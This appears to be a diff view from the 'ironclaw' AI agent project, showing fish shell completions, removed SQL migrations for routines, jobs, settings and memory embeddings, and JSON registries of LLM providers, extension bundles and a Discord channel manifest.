complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 267 KiB

After

Width:  |  Height:  |  Size: 1.4 MiB

-2285
View File
File diff suppressed because it is too large Load Diff
-19
View File
@@ -1,19 +0,0 @@
-- Add wit_version column to wasm_tools for WIT interface version tracking
ALTER TABLE wasm_tools ADD COLUMN IF NOT EXISTS wit_version TEXT NOT NULL DEFAULT '0.1.0';
-- Create wasm_channels table for DB-stored channel extensions
CREATE TABLE IF NOT EXISTS wasm_channels (
id UUID PRIMARY KEY,
user_id TEXT NOT NULL,
name TEXT NOT NULL,
version TEXT NOT NULL DEFAULT '0.1.0',
wit_version TEXT NOT NULL DEFAULT '0.1.0',
description TEXT NOT NULL DEFAULT '',
wasm_binary BYTEA NOT NULL,
binary_hash BYTEA NOT NULL,
capabilities_json TEXT NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'active',
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
CONSTRAINT unique_wasm_channel UNIQUE (user_id, name)
);
@@ -1,13 +0,0 @@
-- Partial unique indexes to prevent duplicate singleton conversations.
-- These guard against TOCTOU races in get_or_create_routine_conversation
-- and get_or_create_heartbeat_conversation.
-- One routine conversation per user per routine_id.
CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_routine
ON conversations (user_id, (metadata->>'routine_id'))
WHERE metadata->>'routine_id' IS NOT NULL;
-- One heartbeat conversation per user.
CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_heartbeat
ON conversations (user_id)
WHERE metadata->>'thread_type' = 'heartbeat';
-10
View File
@@ -1,10 +0,0 @@
-- Add project_dir and user_id columns for sandbox job tracking.
-- user_id was previously hardcoded to "default" in the Rust layer;
-- now it's persisted so we can filter per-user.
ALTER TABLE agent_jobs ADD COLUMN IF NOT EXISTS project_dir TEXT;
ALTER TABLE agent_jobs ADD COLUMN IF NOT EXISTS user_id TEXT NOT NULL DEFAULT 'default';
CREATE INDEX IF NOT EXISTS idx_agent_jobs_source ON agent_jobs(source);
CREATE INDEX IF NOT EXISTS idx_agent_jobs_user ON agent_jobs(user_id);
CREATE INDEX IF NOT EXISTS idx_agent_jobs_created ON agent_jobs(created_at DESC);
-14
View File
@@ -1,14 +0,0 @@
-- Track which mode a sandbox job uses (worker vs claude_code).
ALTER TABLE agent_jobs ADD COLUMN IF NOT EXISTS job_mode TEXT NOT NULL DEFAULT 'worker';
-- Persist Claude Code streaming events so they survive restarts and can be
-- loaded when the frontend opens a job detail view after the fact.
CREATE TABLE IF NOT EXISTS claude_code_events (
id BIGSERIAL PRIMARY KEY,
job_id UUID NOT NULL REFERENCES agent_jobs(id),
event_type TEXT NOT NULL,
data JSONB NOT NULL,
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX IF NOT EXISTS idx_cc_events_job ON claude_code_events(job_id, id);
-73
View File
@@ -1,73 +0,0 @@
-- Routines: scheduled and reactive job system.
--
-- A routine is a named, persistent, user-owned task with a trigger and an action.
-- Triggers fire independently (cron, event, webhook, manual) so only the
-- relevant routine's prompt hits the LLM, not the whole checklist.
CREATE TABLE routines (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
description TEXT NOT NULL DEFAULT '',
user_id TEXT NOT NULL,
enabled BOOLEAN NOT NULL DEFAULT true,
-- Trigger definition
trigger_type TEXT NOT NULL, -- 'cron', 'event', 'webhook', 'manual'
trigger_config JSONB NOT NULL, -- type-specific config (schedule, pattern, etc.)
-- Action definition
action_type TEXT NOT NULL, -- 'lightweight', 'full_job'
action_config JSONB NOT NULL, -- prompt, context_paths, max_tokens / title, max_iterations
-- Guardrails
cooldown_secs INTEGER NOT NULL DEFAULT 300,
max_concurrent INTEGER NOT NULL DEFAULT 1,
dedup_window_secs INTEGER, -- NULL = no dedup
-- Notification preferences
notify_channel TEXT, -- NULL = use default
notify_user TEXT NOT NULL DEFAULT 'default',
notify_on_success BOOLEAN NOT NULL DEFAULT false,
notify_on_failure BOOLEAN NOT NULL DEFAULT true,
notify_on_attention BOOLEAN NOT NULL DEFAULT true,
-- Runtime state (updated by engine)
state JSONB NOT NULL DEFAULT '{}',
last_run_at TIMESTAMPTZ,
next_fire_at TIMESTAMPTZ, -- pre-computed for cron triggers
run_count BIGINT NOT NULL DEFAULT 0,
consecutive_failures INTEGER NOT NULL DEFAULT 0,
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
updated_at TIMESTAMPTZ NOT NULL DEFAULT now(),
UNIQUE (user_id, name)
);
-- Fast lookup: "which cron routines need to fire right now?"
CREATE INDEX idx_routines_next_fire
ON routines (next_fire_at)
WHERE enabled AND next_fire_at IS NOT NULL;
-- Fast lookup: event triggers for a user
CREATE INDEX idx_routines_event_triggers
ON routines (user_id)
WHERE enabled AND trigger_type = 'event';
-- Audit log of individual routine executions.
CREATE TABLE routine_runs (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
routine_id UUID NOT NULL REFERENCES routines(id) ON DELETE CASCADE,
trigger_type TEXT NOT NULL,
trigger_detail TEXT, -- e.g. matched message preview, cron expression
started_at TIMESTAMPTZ NOT NULL DEFAULT now(),
completed_at TIMESTAMPTZ,
status TEXT NOT NULL DEFAULT 'running', -- running, ok, attention, failed
result_summary TEXT,
tokens_used INTEGER,
job_id UUID REFERENCES agent_jobs(id), -- non-NULL for full_job runs
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX idx_routine_runs_routine ON routine_runs (routine_id);
CREATE INDEX idx_routine_runs_status ON routine_runs (status) WHERE status = 'running';
-3
View File
@@ -1,3 +0,0 @@
-- Rename claude_code_events to job_events (generic for all sandbox job types).
ALTER TABLE claude_code_events RENAME TO job_events;
ALTER INDEX idx_cc_events_job RENAME TO idx_job_events_job;
-16
View File
@@ -1,16 +0,0 @@
-- Settings table: key-value store for all user configuration.
--
-- Replaces ~/.ironclaw/settings.json, session.json, and mcp-servers.json.
-- Keys use dotted paths matching the existing Settings.get()/set() convention
-- (e.g., "agent.name", "sandbox.enabled", "mcp_servers").
-- One row per setting so individual values can be updated atomically.
CREATE TABLE IF NOT EXISTS settings (
user_id TEXT NOT NULL,
key TEXT NOT NULL,
value JSONB NOT NULL,
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
PRIMARY KEY (user_id, key)
);
CREATE INDEX IF NOT EXISTS idx_settings_user ON settings (user_id);
@@ -1,43 +0,0 @@
-- Allow embedding vectors of any dimension (not just 1536).
-- This supports Ollama models (768-dim nomic-embed-text, 1024-dim mxbai-embed-large)
-- alongside OpenAI models (1536-dim text-embedding-3-small, 3072-dim text-embedding-3-large).
--
-- NOTE: HNSW indexes require a fixed dimension, so we drop the index.
-- Exact (sequential) cosine distance search still works without the index.
-- For a personal assistant workspace the dataset is small enough that this
-- has negligible impact on query latency.
-- Drop dependent views first
DROP VIEW IF EXISTS chunks_pending_embedding;
DROP VIEW IF EXISTS memory_documents_summary;
DROP INDEX IF EXISTS idx_memory_chunks_embedding;
ALTER TABLE memory_chunks
ALTER COLUMN embedding TYPE vector
USING embedding::vector;
-- Recreate the views
CREATE VIEW memory_documents_summary AS
SELECT
d.id,
d.user_id,
d.path,
d.created_at,
d.updated_at,
COUNT(c.id) as chunk_count,
COUNT(c.embedding) as embedded_chunk_count
FROM memory_documents d
LEFT JOIN memory_chunks c ON c.document_id = d.id
GROUP BY d.id;
CREATE VIEW chunks_pending_embedding AS
SELECT
c.id as chunk_id,
c.document_id,
d.user_id,
d.path,
LENGTH(c.content) as content_length
FROM memory_chunks c
JOIN memory_documents d ON d.id = c.document_id
WHERE c.embedding IS NULL;
-403
View File
@@ -1,403 +0,0 @@
[
{
"id": "openai",
"aliases": [
"open_ai"
],
"protocol": "open_ai_completions",
"api_key_env": "OPENAI_API_KEY",
"api_key_required": true,
"base_url_env": "OPENAI_BASE_URL",
"model_env": "OPENAI_MODEL",
"default_model": "gpt-4o",
"description": "OpenAI GPT models (direct API)",
"setup": {
"kind": "api_key",
"secret_name": "llm_openai_api_key",
"key_url": "https://platform.openai.com/api-keys",
"display_name": "OpenAI",
"can_list_models": true
}
},
{
"id": "anthropic",
"aliases": [
"claude"
],
"protocol": "anthropic",
"api_key_env": "ANTHROPIC_API_KEY",
"api_key_required": true,
"base_url_env": "ANTHROPIC_BASE_URL",
"model_env": "ANTHROPIC_MODEL",
"default_model": "claude-sonnet-4-20250514",
"description": "Anthropic Claude models (direct API)",
"setup": {
"kind": "api_key",
"secret_name": "llm_anthropic_api_key",
"key_url": "https://console.anthropic.com/settings/keys",
"display_name": "Anthropic",
"can_list_models": true
}
},
{
"id": "ollama",
"aliases": [],
"protocol": "ollama",
"default_base_url": "http://localhost:11434",
"base_url_env": "OLLAMA_BASE_URL",
"model_env": "OLLAMA_MODEL",
"default_model": "llama3",
"description": "Local Ollama instance (no API key needed)",
"setup": {
"kind": "ollama",
"display_name": "Ollama",
"can_list_models": true
}
},
{
"id": "openai_compatible",
"aliases": [
"openai-compatible",
"compatible"
],
"protocol": "open_ai_completions",
"base_url_env": "LLM_BASE_URL",
"base_url_required": true,
"api_key_env": "LLM_API_KEY",
"api_key_required": false,
"model_env": "LLM_MODEL",
"default_model": "default",
"extra_headers_env": "LLM_EXTRA_HEADERS",
"description": "Custom OpenAI-compatible endpoint (vLLM, LiteLLM, etc.)",
"setup": {
"kind": "open_ai_compatible",
"secret_name": "llm_compatible_api_key",
"display_name": "OpenAI-compatible",
"can_list_models": false
}
},
{
"id": "tinfoil",
"aliases": [],
"protocol": "open_ai_completions",
"default_base_url": "https://inference.tinfoil.sh/v1",
"api_key_env": "TINFOIL_API_KEY",
"api_key_required": true,
"model_env": "TINFOIL_MODEL",
"default_model": "kimi-k2-5",
"description": "Tinfoil private inference (hardware-attested TEE)",
"setup": {
"kind": "api_key",
"secret_name": "llm_tinfoil_api_key",
"key_url": "https://tinfoil.sh",
"display_name": "Tinfoil",
"can_list_models": false
}
},
{
"id": "openrouter",
"aliases": [
"open_router"
],
"protocol": "open_ai_completions",
"default_base_url": "https://openrouter.ai/api/v1",
"api_key_env": "OPENROUTER_API_KEY",
"api_key_required": true,
"model_env": "OPENROUTER_MODEL",
"default_model": "openai/gpt-4o",
"description": "OpenRouter multi-provider gateway (200+ models)",
"setup": {
"kind": "api_key",
"secret_name": "llm_openrouter_api_key",
"key_url": "https://openrouter.ai/settings/keys",
"display_name": "OpenRouter",
"can_list_models": false
}
},
{
"id": "groq",
"aliases": [],
"protocol": "open_ai_completions",
"default_base_url": "https://api.groq.com/openai/v1",
"api_key_env": "GROQ_API_KEY",
"api_key_required": true,
"model_env": "GROQ_MODEL",
"default_model": "llama-3.3-70b-versatile",
"description": "Groq LPU inference (ultra-fast)",
"setup": {
"kind": "api_key",
"secret_name": "llm_groq_api_key",
"key_url": "https://console.groq.com/keys",
"display_name": "Groq",
"can_list_models": true,
"models_filter": "chat"
}
},
{
"id": "nvidia",
"aliases": [
"nvidia_nim",
"nim"
],
"protocol": "open_ai_completions",
"default_base_url": "https://integrate.api.nvidia.com/v1",
"api_key_env": "NVIDIA_API_KEY",
"api_key_required": true,
"model_env": "NVIDIA_MODEL",
"default_model": "meta/llama-3.3-70b-instruct",
"description": "NVIDIA NIM API (high-performance inference)",
"setup": {
"kind": "api_key",
"secret_name": "llm_nvidia_api_key",
"key_url": "https://build.nvidia.com",
"display_name": "NVIDIA NIM",
"can_list_models": true
}
},
{
"id": "venice",
"aliases": [
"venice_ai",
"veniceai"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.venice.ai/api/v1",
"api_key_env": "VENICE_API_KEY",
"api_key_required": true,
"model_env": "VENICE_MODEL",
"default_model": "llama-3.3-70b",
"description": "Venice.ai privacy-focused inference",
"setup": {
"kind": "api_key",
"secret_name": "llm_venice_api_key",
"key_url": "https://venice.ai/settings/api",
"display_name": "Venice.ai",
"can_list_models": false
}
},
{
"id": "together",
"aliases": [
"together_ai",
"togetherai"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.together.xyz/v1",
"api_key_env": "TOGETHER_API_KEY",
"api_key_required": true,
"model_env": "TOGETHER_MODEL",
"default_model": "meta-llama/Llama-3-70b-chat-hf",
"description": "Together AI inference",
"setup": {
"kind": "api_key",
"secret_name": "llm_together_api_key",
"key_url": "https://api.together.ai/settings/api-keys",
"display_name": "Together AI",
"can_list_models": false
}
},
{
"id": "fireworks",
"aliases": [
"fireworks_ai"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.fireworks.ai/inference/v1",
"api_key_env": "FIREWORKS_API_KEY",
"api_key_required": true,
"model_env": "FIREWORKS_MODEL",
"default_model": "accounts/fireworks/models/llama-v3p1-70b-instruct",
"description": "Fireworks AI inference",
"setup": {
"kind": "api_key",
"secret_name": "llm_fireworks_api_key",
"key_url": "https://fireworks.ai/api-keys",
"display_name": "Fireworks AI",
"can_list_models": false
}
},
{
"id": "deepseek",
"aliases": [
"deep_seek"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.deepseek.com/v1",
"api_key_env": "DEEPSEEK_API_KEY",
"api_key_required": true,
"model_env": "DEEPSEEK_MODEL",
"default_model": "deepseek-chat",
"description": "DeepSeek inference API",
"setup": {
"kind": "api_key",
"secret_name": "llm_deepseek_api_key",
"key_url": "https://platform.deepseek.com/api_keys",
"display_name": "DeepSeek",
"can_list_models": false
}
},
{
"id": "cerebras",
"aliases": [],
"protocol": "open_ai_completions",
"default_base_url": "https://api.cerebras.ai/v1",
"api_key_env": "CEREBRAS_API_KEY",
"api_key_required": true,
"model_env": "CEREBRAS_MODEL",
"default_model": "llama-3.3-70b",
"description": "Cerebras wafer-scale inference",
"setup": {
"kind": "api_key",
"secret_name": "llm_cerebras_api_key",
"key_url": "https://cloud.cerebras.ai",
"display_name": "Cerebras",
"can_list_models": false
}
},
{
"id": "sambanova",
"aliases": [
"samba_nova"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.sambanova.ai/v1",
"api_key_env": "SAMBANOVA_API_KEY",
"api_key_required": true,
"model_env": "SAMBANOVA_MODEL",
"default_model": "Meta-Llama-3.1-70B-Instruct",
"description": "SambaNova Cloud inference",
"setup": {
"kind": "api_key",
"secret_name": "llm_sambanova_api_key",
"key_url": "https://cloud.sambanova.ai/apis",
"display_name": "SambaNova",
"can_list_models": false
}
},
{
"id": "gemini",
"aliases": [
"google_gemini",
"google"
],
"protocol": "open_ai_completions",
"default_base_url": "https://generativelanguage.googleapis.com/v1beta/openai",
"api_key_env": "GEMINI_API_KEY",
"api_key_required": true,
"model_env": "GEMINI_MODEL",
"default_model": "gemini-2.5-flash",
"description": "Google Gemini (via OpenAI-compatible endpoint)",
"setup": {
"kind": "api_key",
"secret_name": "llm_gemini_api_key",
"key_url": "https://aistudio.google.com/app/apikey",
"display_name": "Google Gemini",
"can_list_models": true
}
},
{
"id": "bedrock",
"aliases": [
"aws_bedrock",
"aws"
],
"protocol": "open_ai_completions",
"api_key_env": "BEDROCK_ACCESS_KEY",
"api_key_required": false,
"base_url_env": "BEDROCK_BASE_URL",
"model_env": "BEDROCK_MODEL",
"default_model": "anthropic.claude-3-5-sonnet-20241022-v2:0",
"description": "AWS Bedrock (requires LiteLLM or OpenAI-compatible proxy)",
"setup": {
"kind": "open_ai_compatible",
"secret_name": "llm_bedrock_api_key",
"display_name": "AWS Bedrock",
"can_list_models": false
}
},
{
"id": "ionet",
"aliases": [
"io_net",
"io.net"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.intelligence.io.solutions/api/v1",
"api_key_env": "IONET_API_KEY",
"api_key_required": true,
"model_env": "IONET_MODEL",
"default_model": "deepseek-coder-v2-instruct",
"description": "io.net Intelligence API",
"setup": {
"kind": "api_key",
"secret_name": "llm_ionet_api_key",
"key_url": "https://cloud.io.net/intelligence",
"display_name": "io.net",
"can_list_models": true
}
},
{
"id": "mistral",
"aliases": [
"mistral_ai",
"mistralai"
],
"protocol": "open_ai_completions",
"default_base_url": "https://api.mistral.ai/v1",
"api_key_env": "MISTRAL_API_KEY",
"api_key_required": true,
"model_env": "MISTRAL_MODEL",
"default_model": "mistral-large-latest",
"description": "Mistral AI API",
"setup": {
"kind": "api_key",
"secret_name": "llm_mistral_api_key",
"key_url": "https://console.mistral.ai/api-keys",
"display_name": "Mistral",
"can_list_models": true
}
},
{
"id": "yandex",
"aliases": [
"yandex_ai_studio",
"yandexgpt",
"yandex_gpt"
],
"protocol": "open_ai_completions",
"default_base_url": "https://ai.api.cloud.yandex.net/v1",
"api_key_env": "YANDEX_API_KEY",
"api_key_required": true,
"model_env": "YANDEX_MODEL",
"extra_headers_env": "YANDEX_EXTRA_HEADERS",
"default_model": "yandexgpt-lite",
"description": "Yandex AI Studio (YandexGPT)",
"setup": {
"kind": "api_key",
"secret_name": "llm_yandex_api_key",
"key_url": "https://aistudio.yandex.ru/platform/folders/",
"display_name": "Yandex AI Studio",
"can_list_models": true
}
},
{
"id": "cloudflare",
"aliases": [
"cloudflare_ai",
"cf_ai"
],
"protocol": "open_ai_completions",
"api_key_env": "CLOUDFLARE_API_KEY",
"api_key_required": true,
"base_url_env": "CLOUDFLARE_BASE_URL",
"model_env": "CLOUDFLARE_MODEL",
"default_model": "@cf/meta/llama-3.3-70b-instruct-fp8-fast",
"description": "Cloudflare Workers AI",
"setup": {
"kind": "open_ai_compatible",
"secret_name": "llm_cloudflare_api_key",
"display_name": "Cloudflare Workers AI",
"can_list_models": false
}
}
]
-42
View File
@@ -1,42 +0,0 @@
{
"bundles": {
"google": {
"display_name": "Google Suite",
"description": "Gmail, Calendar, Drive, Docs, Sheets, Slides",
"extensions": [
"tools/gmail",
"tools/google-calendar",
"tools/google-docs",
"tools/google-drive",
"tools/google-sheets",
"tools/google-slides"
],
"shared_auth": "google_oauth_token"
},
"messaging": {
"display_name": "Messaging Channels",
"description": "Discord, Telegram, Slack, and WhatsApp channels",
"extensions": [
"channels/discord",
"channels/telegram",
"channels/slack",
"channels/whatsapp"
],
"shared_auth": null
},
"default": {
"display_name": "Recommended Set",
"description": "Core tools and channels for a productive setup",
"extensions": [
"tools/github",
"tools/gmail",
"tools/google-calendar",
"tools/google-drive",
"tools/slack-tool",
"channels/telegram",
"channels/slack"
],
"shared_auth": null
}
}
}
-37
View File
@@ -1,37 +0,0 @@
{
"name": "discord",
"display_name": "Discord Channel",
"kind": "channel",
"version": "0.2.0",
"wit_version": "0.3.0",
"description": "Talk to your agent in Discord",
"keywords": [
"messaging",
"chat",
"discord",
"bot"
],
"source": {
"dir": "channels-src/discord",
"capabilities": "discord.capabilities.json",
"crate_name": "discord-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz",
"sha256": "030707431717bca3411a48f311c6ab5f92a45c747de26cafe4f6e3e23a8b3b2d"
}
},
"auth_summary": {
"method": "manual",
"provider": "Discord",
"secrets": [
"discord_bot_token"
],
"shared_auth": null,
"setup_url": "https://discord.com/developers/applications"
},
"tags": [
"messaging"
]
}

Some files were not shown because too many files have changed in this diff Show More